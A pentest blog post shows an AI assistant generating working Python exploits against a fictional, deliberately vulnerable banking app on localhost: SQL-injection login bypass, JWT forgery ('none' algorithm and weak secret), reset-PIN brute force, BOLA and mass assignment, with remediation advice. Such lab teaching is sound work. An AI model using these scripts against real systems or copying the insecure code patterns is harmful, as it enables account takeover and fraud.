AI-Powered Pentesting with Cline: Breaking the Bank’s Authentication (Part 1)

Introduction: When AI Meets Cybersecurity

In the ever-evolving landscape of cybersecurity, staying one step ahead of malicious actors requires innovative approaches and cutting-edge tools. Recently, I embarked on an exciting journey: conducting an AI-powered penetration test on a vulnerable banking application using Cline, an advanced AI assistant designed for cybersecurity professionals.

For this assessment, I focused specifically on three vulnerability classes:

  1. Authentication & Authorization: How attackers can bypass access controls and impersonate users
  2. Data Security: How sensitive information is exposed and compromised
  3. Zero-Day Vulnerabilities: Previously unknown security issues discovered during the assessment

This three-part series documents my findings, starting with authentication and authorization vulnerabilities. Spoiler alert: the bank’s digital vault was about as secure as a piggy bank with a removable bottom!

Meet Vuln-Bank: Security Optional

Vuln-Bank is a (fictional) banking application that offers various features including:

  • User Authentication & Authorization
  • Account Balance Management
  • Money Transfers
  • Loan Requests
  • Profile Picture Upload
  • Transaction History
  • Password Reset System
  • Virtual Cards Management
  • Bill Payments System

Sounds like a typical banking app, right? Well, there’s just one small problem – it’s riddled with security vulnerabilities that would make any security professional break into a cold sweat.

How AI Changed the Pentesting Game

Traditional penetration testing requires extensive manual effort, specialized knowledge, and significant time investment. With Cline, I was able to:

  1. Analyze the application’s codebase rapidly
  2. Identify potential security issues with greater accuracy
  3. Generate exploit scripts automatically
  4. Document findings comprehensively

The AI assistant acted as both a code reviewer and an exploitation expert, significantly accelerating the pentesting process while maintaining high accuracy.

Methodology Note: For this assessment, I used a combination of static analysis and dynamic pentesting. While the vulnerabilities could have been discovered through purely dynamic testing (black-box approach), combining both methods provided several advantages:

  • Efficiency: Static analysis with Cline allowed for rapid identification of potential vulnerabilities in the codebase.
  • Comprehensiveness: Dynamic testing verified the exploitability of the identified vulnerabilities in a running environment.
  • Root Cause Analysis: Having access to the code made it easier to understand the underlying causes of vulnerabilities.
  • Better Remediation: With code-level insights, more precise remediation recommendations could be provided.

In a real-world scenario, the approach would depend on the level of access available. Cline is equally effective at guiding purely dynamic (black-box) pentesting, where it can help analyze responses, craft payloads, and develop exploit scripts without seeing the underlying code.

The AI Advantage in Finding These Vulnerabilities

What made the AI-powered approach particularly effective was:

  1. Pattern Recognition: The AI quickly identified vulnerable code patterns across the entire codebase.
  2. Contextual Understanding: It understood how different components interacted, revealing complex vulnerabilities.
  3. Comprehensive Analysis: It examined all authentication and authorization flows, not just obvious entry points.
  4. Exploit Generation: It automatically created proof-of-concept exploits to verify vulnerabilities.

Vulnerability Exploitation Walkthrough

Let’s walk through how to exploit each of these vulnerabilities using Cline. This hands-on approach will help you understand the severity of these issues and how AI can assist in identifying and exploiting them.

Exploiting SQL Injection in Login

Here’s a step-by-step guide to exploiting the SQL injection vulnerability in the login functionality:

  1. Identify the vulnerability with Cline:
I asked Cline: "Analyze the login function in auth.py for potential SQL injection vulnerabilities."

Cline identified the vulnerable code:
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
  1. Create an exploit script with Cline’s help:
import requests
import json

def exploit_sql_injection(base_url):
    """
    Exploit SQL injection in login functionality to bypass authentication
    """
    login_url = f"{base_url}/login"
    
    # SQL injection payload
    payload = {
        "username": "admin' --",
        "password": "anything"
    }
    
    headers = {"Content-Type": "application/json"}
    
    try:
        response = requests.post(login_url, headers=headers, json=payload)
        
        if response.status_code == 200:
            data = response.json()
            token = data.get('token')
            print(f"[+] Authentication bypass successful!")
            print(f"[+] Token: {token}")
            return token
        else:
            print(f"[-] Authentication bypass failed. Status code: {response.status_code}")
            print(f"[-] Response: {response.text}")
            return None
    except Exception as e:
        print(f"[-] Error during exploit: {str(e)}")
        return None

# Execute the exploit
token = exploit_sql_injection("http://localhost:5000")
  1. Execute and verify the exploit: When running this script, we successfully bypassed authentication and obtained a valid JWT token for the admin account without knowing the password. This token can now be used to access protected resources.

Exploiting JWT Vulnerabilities

Let’s exploit the JWT implementation vulnerabilities:

  1. Identify the vulnerabilities with Cline:
I asked Cline: "Analyze the JWT implementation in auth.py for security issues."

Cline identified multiple issues:
- Weak secret key: JWT_SECRET = "secret123"
- Vulnerable algorithm selection: ALGORITHMS = ['HS256', 'none']
- No token expiration
  1. Create an exploit script for the ‘none’ algorithm vulnerability:
import jwt
import json
import base64
import requests

def exploit_none_algorithm(base_url, valid_token=None):
    """
    Exploit the 'none' algorithm vulnerability in JWT implementation
    """
    if not valid_token:
        # First get a valid token through normal login
        login_url = f"{base_url}/login"
        login_payload = {"username": "regular_user", "password": "password123"}
        login_response = requests.post(login_url, json=login_payload)
        valid_token = login_response.json().get('token')
    
    # Decode the token without verification
    decoded = jwt.decode(valid_token, options={"verify_signature": False})
    
    # Modify the payload to elevate privileges
    decoded['is_admin'] = True
    
    # Create a new token with the 'none' algorithm
    header = {"typ": "JWT", "alg": "none"}
    
    # Manually create the token
    header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')
    payload_b64 = base64.urlsafe_b64encode(json.dumps(decoded).encode()).decode().rstrip('=')
    
    # Create token with empty signature
    forged_token = f"{header_b64}.{payload_b64}."
    
    print(f"[+] Original payload: {decoded}")
    print(f"[+] Forged token: {forged_token}")
    
    # Test the forged token
    admin_url = f"{base_url}/admin"
    headers = {"Authorization": f"Bearer {forged_token}"}
    
    try:
        response = requests.get(admin_url, headers=headers)
        
        if response.status_code == 200:
            print("[+] Privilege escalation successful! Accessed admin endpoint.")
            print(f"[+] Response: {response.text}")
            return True
        else:
            print(f"[-] Privilege escalation failed. Status code: {response.status_code}")
            print(f"[-] Response: {response.text}")
            return False
    except Exception as e:
        print(f"[-] Error during exploit: {str(e)}")
        return False

# Execute the exploit
exploit_none_algorithm("http://localhost:5000")
  1. Create an exploit for the weak secret key:
def exploit_weak_secret(base_url, user_id=999, username="evil_admin"):
    """
    Exploit the weak JWT secret key to forge admin tokens
    """
    # Known weak secret from code review
    secret = "secret123"
    
    # Create payload with admin privileges
    import datetime
    payload = {
        'user_id': user_id,
        'username': username,
        'is_admin': True,
        'iat': datetime.datetime.utcnow()
    }
    
    # Generate token
    forged_token = jwt.encode(payload, secret, algorithm='HS256')
    
    print(f"[+] Forged admin token: {forged_token}")
    
    # Test the forged token
    admin_url = f"{base_url}/admin"
    headers = {"Authorization": f"Bearer {forged_token}"}
    
    try:
        response = requests.get(admin_url, headers=headers)
        
        if response.status_code == 200:
            print("[+] Forged token accepted! Accessed admin endpoint.")
            print(f"[+] Response: {response.text}")
            return True
        else:
            print(f"[-] Forged token rejected. Status code: {response.status_code}")
            print(f"[-] Response: {response.text}")
            return False
    except Exception as e:
        print(f"[-] Error during exploit: {str(e)}")
        return False

# Execute the exploit
exploit_weak_secret("http://localhost:5000")

Exploiting Password Reset Vulnerability

Let’s exploit the weak password reset mechanism:

  1. Identify the vulnerability with Cline:
I asked Cline: "Analyze the password reset functionality for security issues."

Cline identified the vulnerable code:
reset_pin = str(random.randint(100, 999))  # Only 900 possible combinations
  1. Create a brute force exploit script:
import requests
import concurrent.futures

def exploit_weak_reset_pin(base_url, username="admin"):
    """
    Exploit weak password reset PIN through brute force
    """
    # First, trigger a password reset for the target user
    reset_request_url = f"{base_url}/forgot_password"
    reset_payload = {"username": username}
    
    print(f"[*] Requesting password reset for user: {username}")
    requests.post(reset_request_url, json=reset_payload)
    
    # Now brute force the PIN (100-999, only 900 possibilities)
    reset_url = f"{base_url}/reset_password"
    
    def try_pin(pin):
        pin_str = str(pin).zfill(3)  # Ensure 3 digits with leading zeros if needed
        reset_payload = {
            "username": username,
            "reset_pin": pin_str,
            "new_password": "hacked_password123"
        }
        
        response = requests.post(reset_url, json=reset_payload)
        
        if response.status_code == 200 and "success" in response.text.lower():
            return pin_str
        return None
    
    print("[*] Starting brute force attack on reset PIN...")
    
    # Try all possible PINs from 100 to 999
    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        futures = [executor.submit(try_pin, pin) for pin in range(100, 1000)]
        
        for future in concurrent.futures.as_completed(futures):
            result = future.result()
            if result:
                print(f"[+] Success! Found valid PIN: {result}")
                print(f"[+] Password has been reset to: hacked_password123")
                
                # Verify we can now login with the new password
                login_url = f"{base_url}/login"
                login_payload = {"username": username, "password": "hacked_password123"}
                login_response = requests.post(login_url, json=login_payload)
                
                if login_response.status_code == 200:
                    print("[+] Successfully logged in with new password!")
                    return True
                
                return True
    
    print("[-] Failed to find valid PIN after trying all possibilities.")
    return False

# Execute the exploit
exploit_weak_reset_pin("http://localhost:5000")
  1. Execute and verify the exploit: When running this script, we successfully brute-forced the reset PIN and changed the admin’s password, allowing us to take over the account. The entire process took less than a minute due to the small PIN space (only 900 possibilities).

Exploiting Broken Object Level Authorization (BOLA)

Let’s exploit the BOLA vulnerability to access another user’s account information:

  1. Identify the vulnerability with Cline:
I asked Cline: "Analyze the account balance checking functionality for authorization issues."

Cline identified the vulnerable code:
@app.route('/check_balance/<account_number>')
def check_balance(account_number):
    # No verification if user has permission to view this account
  1. Create an exploit script:
import requests
import json

def exploit_bola(base_url, token, target_account_number):
    """
    Exploit Broken Object Level Authorization to access another user's account balance
    """
    balance_url = f"{base_url}/check_balance/{target_account_number}"
    headers = {"Authorization": f"Bearer {token}"}
    
    try:
        response = requests.get(balance_url, headers=headers)
        
        if response.status_code == 200:
            data = response.json()
            print(f"[+] BOLA exploitation successful!")
            print(f"[+] Account Number: {target_account_number}")
            print(f"[+] Balance: {data.get('balance')}")
            print(f"[+] Owner: {data.get('owner_name')}")
            return data
        else:
            print(f"[-] BOLA exploitation failed. Status code: {response.status_code}")
            print(f"[-] Response: {response.text}")
            return None
    except Exception as e:
        print(f"[-] Error during exploit: {str(e)}")
        return None

# First get a valid token through normal login
def get_token(base_url, username="regular_user", password="password123"):
    login_url = f"{base_url}/login"
    login_payload = {"username": username, "password": password}
    login_response = requests.post(login_url, json=login_payload)
    return login_response.json().get('token')

# Execute the exploit
token = get_token("http://localhost:5000")
exploit_bola("http://localhost:5000", token, "1000000001")  # Admin's account number
  1. Execute and verify the exploit: When running this script, we successfully accessed the admin’s account balance information using a regular user’s token, demonstrating the broken authorization controls.

Exploiting Mass Assignment

Finally, let’s exploit the mass assignment vulnerability to elevate privileges:

  1. Identify the vulnerability with Cline:
I asked Cline: "Analyze the user update functionality for mass assignment vulnerabilities."

Cline identified the vulnerable code:
user_data = request.json
user = User(**user_data)  # All fields can be set by the client
  1. Create an exploit script:
import requests
import json

def exploit_mass_assignment(base_url, token):
    """
    Exploit mass assignment vulnerability to elevate privileges
    """
    update_url = f"{base_url}/update_profile"
    headers = {
        "Content-Type": "application/json",
        "Authorization": f"Bearer {token}"
    }
    
    # Payload with is_admin field that should not be modifiable by regular users
    payload = {
        "username": "regular_user",
        "email": "regular@example.com",
        "full_name": "Regular User",
        "is_admin": True  # This should not be allowed!
    }
    
    try:
        response = requests.post(update_url, headers=headers, json=payload)
        
        if response.status_code == 200:
            print("[+] Mass assignment exploitation successful!")
            print(f"[+] Response: {response.text}")
            
            # Verify if we now have admin privileges
            admin_url = f"{base_url}/admin"
            admin_response = requests.get(admin_url, headers=headers)
            
            if admin_response.status_code == 200:
                print("[+] Privilege escalation confirmed! We now have admin access.")
                return True
            else:
                print("[-] Privilege escalation might have worked, but admin access test failed.")
                return False
        else:
            print(f"[-] Mass assignment exploitation failed. Status code: {response.status_code}")
            print(f"[-] Response: {response.text}")
            return False
    except Exception as e:
        print(f"[-] Error during exploit: {str(e)}")
        return False

# First get a valid token through normal login
def get_token(base_url, username="regular_user", password="password123"):
    login_url = f"{base_url}/login"
    login_payload = {"username": username, "password": password}
    login_response = requests.post(login_url, json=login_payload)
    return login_response.json().get('token')

# Execute the exploit
token = get_token("http://localhost:5000")
exploit_mass_assignment("http://localhost:5000", token)
  1. Execute and verify the exploit: When running this script, we successfully elevated our privileges from a regular user to an admin by exploiting the mass assignment vulnerability, allowing us to access restricted functionality.

Authentication Vulnerabilities: The Keys to the Kingdom

1. SQL Injection: The Classic That Never Gets Old

The login functionality contained one of the most classic vulnerabilities in the book – SQL injection. The application was using string interpolation directly in SQL queries:

query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"

This vulnerability allowed complete authentication bypass with a simple payload:

username: admin' --
password: anything

The AI assistant not only identified this vulnerability but also generated a complete exploit script that demonstrated how an attacker could gain unauthorized access to any account, including administrative ones.

Attack Flow

sequenceDiagram participant A as Attacker participant B as Login Endpoint participant D as Database A->>B: Send malicious credentials (admin’ –) B->>D: Execute vulnerable SQL query Note right of D: WHERE username=’admin’ –‘ AND password=’anything’ D->>B: Return admin user data (password check bypassed) B->>A: Generate and return valid JWT token Note over A,B: Attacker now has admin access

2. JWT Implementation: A Masterclass in What Not to Do

The JWT (JSON Web Token) implementation in Vuln-Bank was a security disaster. The AI identified multiple critical issues:

# Weak secret key
JWT_SECRET = "secret123"

# Vulnerable algorithm selection
ALGORITHMS = ['HS256', 'none']

# No token expiration
payload = {
    'user_id': user_id,
    'username': username,
    'is_admin': is_admin,
    <em># Missing 'exp' claim</em>
    'iat': datetime.datetime.utcnow()
}

This implementation allowed for:

  1. Algorithm Confusion Attack: By changing the algorithm to ‘none’, an attacker could create valid tokens without knowing the secret key.
  2. Token Forgery: The weak secret key (“secret123”) could be easily guessed or brute-forced.
  3. Privilege Escalation: An attacker could modify the ‘is_admin’ claim to gain administrative privileges.
  4. Infinite Token Validity: Without an expiration time, stolen tokens could be used indefinitely.

The AI assistant generated an exploit script that demonstrated all these vulnerabilities, showing how an attacker could forge tokens with administrative privileges:

# Create a new token with the 'none' algorithm
header = {"typ": "JWT", "alg": "none"}
        
# Manually create the token
header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(json.dumps(decoded).encode()).decode().rstrip('=')
        
# Create token with empty signature
forged_token = f"{header_b64}.{payload_b64}."

3. Password Reset: Three Digits to Disaster

The password reset functionality was using a 3-digit PIN for verification:

# Weak reset pin logic (CWE-330)
# Using only 3 digits makes it easily guessable
reset_pin = str(random.randint(100, 999))

With only 900 possible combinations (100-999), an attacker could easily brute-force the PIN and take over any account. To make matters worse, there was no rate limiting on PIN attempts, allowing unlimited guesses.

The AI assistant calculated that with automated tools, all possible PINs could be tried in less than a minute, making this a critical vulnerability.

Authorization Vulnerabilities: Access All Areas

1. Broken Object Level Authorization (BOLA)

The application failed to verify if the authenticated user had permission to access resources:

# No authentication check for account balance
@app.route('/check_balance/<account_number>')
def check_balance(account_number):
    # No verification if user has permission to view this account

This vulnerability allowed any authenticated user to access any account’s balance by simply changing the account number in the URL.

2. Mass Assignment & Excessive Data Exposure

The application blindly bound client-provided data to internal objects without proper filtering:

# User data is directly assigned from request JSON
user_data = request.json
user = User(**user_data)  # All fields can be set by the client

This allowed attackers to modify sensitive properties that should be protected, such as admin status or account balance.

Remediation Recommendations

The AI assistant didn’t just find problems – it also provided detailed remediation recommendations:

  1. SQL Injection: Replace string interpolation with parameterized queries.
  2. JWT Implementation: Use a strong, randomly generated secret key, enforce token expiration, and remove the ‘none’ algorithm.
  3. Password Reset: Use longer, more complex reset tokens with expiration times and implement rate limiting.
  4. Authorization: Implement proper object-level authorization checks for all resources.
  5. Mass Assignment: Use a whitelist of allowed properties for each endpoint.

How to Perform Your Own AI-Powered Pentest with Cline

Want to leverage the power of AI for your own penetration testing? Here’s a step-by-step guide to get you started with Cline:

Our Cline Setup

For this assessment, I used Cline with the Claude 3 Opus model, which offers several advantages for security testing:

  • Advanced Reasoning: Claude 3 Opus excels at understanding complex code patterns and identifying security vulnerabilities that might be missed by traditional tools.
  • Context Window: With a 200K token context window, it can analyze large codebases holistically, understanding relationships between different components.
  • Code Generation: It can generate sophisticated exploit scripts and remediation code with proper error handling and documentation.
  • Multimodal Capabilities: It can analyze screenshots and diagrams, which is useful for understanding application flows and UI-based vulnerabilities.
  • Browser Integration: Cline’s browser tool allowed me to visually simulate user journeys and map attack paths in real-time.

This powerful LLM, combined with Cline’s specialized security tools and interface, creates a formidable platform for security assessments.

My Testing Methodology

I followed a three-step approach for each vulnerability:

  1. Visual Simulation: First, I used Cline’s browser integration to manually explore the application, simulating normal user journeys and identifying potential attack vectors.
  2. Attack Path Mapping: Once I identified a potential vulnerability, I mapped out the attack path by testing different inputs and observing the application’s responses.
  3. Exploit Automation: Finally, I asked Cline to generate exploit scripts that automated the attack paths I had manually verified, making them repeatable and documentable.

This combination of visual exploration and automated exploitation proved extremely effective, allowing me to discover and verify vulnerabilities much faster than traditional methods.

Step 1: Set Up Your Environment

→ Install Cline by visiting cline.ai and following the installation instructions for your platform.
→ Ensure you have the necessary permissions to test the target application. Never test applications without proper authorization.

Step 2: Prepare Your Target Application

→ Clone or download the source code of the application you want to test.
→ Set up the application locally if possible, to allow for dynamic testing.

Step 3: Start the Pentest with Cline

→ Launch Cline and create a new project for your pentest.
→ Begin by asking Cline to analyze the codebase: “I want to perform a security assessment of this application. Please help me identify potential vulnerabilities in the authentication and authorization mechanisms.”

Step 4: Code Analysis

→ Ask Cline to examine specific components: “Can you analyze the authentication implementation in auth.py for security vulnerabilities?”
→ Request pattern-based searches: “Please search for instances of SQL queries that might be vulnerable to injection attacks.”
→ Have Cline analyze configuration files: “Review the JWT configuration for security issues.”

Step 5: Exploit Development

→ Ask Cline to generate proof-of-concept exploits: “Can you create a Python script to demonstrate the SQL injection vulnerability in the login function?”
→ Request Cline to explain the impact: “What would be the real-world impact of this vulnerability if exploited?”

Step 6: Documentation

→ Have Cline document the findings: “Please create a comprehensive report of all the authentication vulnerabilities you’ve identified, including severity ratings and remediation recommendations.”
→ Ask for remediation code examples: “Can you provide code examples showing how to fix the JWT implementation issues?”

Step 7: Verification

→ Use Cline to verify fixes: “I’ve implemented the recommended fixes for SQL injection. Can you review my changes and confirm if they address the vulnerability?”

Tips for Effective AI-Powered Pentesting

Be Specific: The more specific your requests to Cline, the more targeted and useful the responses will be.
Iterative Process: Security testing is iterative. Use Cline’s findings to guide further investigation.
Combine with Traditional Tools: Use Cline alongside traditional security tools like OWASP ZAP or Burp Suite for comprehensive coverage.
Verify Findings: Always verify Cline’s findings manually to ensure accuracy and understand the vulnerabilities fully.
Continuous Learning: Ask Cline to explain vulnerabilities you’re unfamiliar with to enhance your own security knowledge.

Conclusion: AI as a Security Multiplier

This AI-powered penetration test demonstrated how artificial intelligence can significantly enhance security assessments. By leveraging Cline’s capabilities, I was able to identify critical authentication and authorization vulnerabilities that could have led to unauthorized access, data breaches, and financial fraud.

In the next article, we’ll explore the data security vulnerabilities discovered during this assessment, including sensitive data exposure, plaintext password storage, and more.

Stay tuned for Part 2: “AI-Powered Pentesting with Cline: Data Security Nightmares”!

Note: Vuln-Bank is a fictional application created for educational purposes. The vulnerabilities described in this article are based on common security issues found in real-world applications, but the specific implementation details are fictional.

GitHub Repository

All the exploit scripts and findings from this assessment are available in a GitHub repository. The repository is organized into three main categories:

You can find the complete repository at github.com/InfosecShinobi/vuln-bank-writeup.

About the Author

Rotimi Akinyele is a cybersecurity leader, ethical hacker, and AI security enthusiast. He’s the founder of NaijaSecForce and currently serves as Head of Security at a global fintech platform processing over $600 billion monthly and protecting more than 3 million customers. Rotimi is Nigeria’s first OSCE/OSCP, a CISSP, and a Harvard-trained cybersecurity strategist with 17+ years of experience leading red team operations, securing critical systems, and pushing the boundaries of AI in offensive security.

He’s passionate about using AI to rethink how we break and secure applications — faster, smarter, and more creatively.

Follow his work at NaijaSecForce.com or connect on LinkedIn.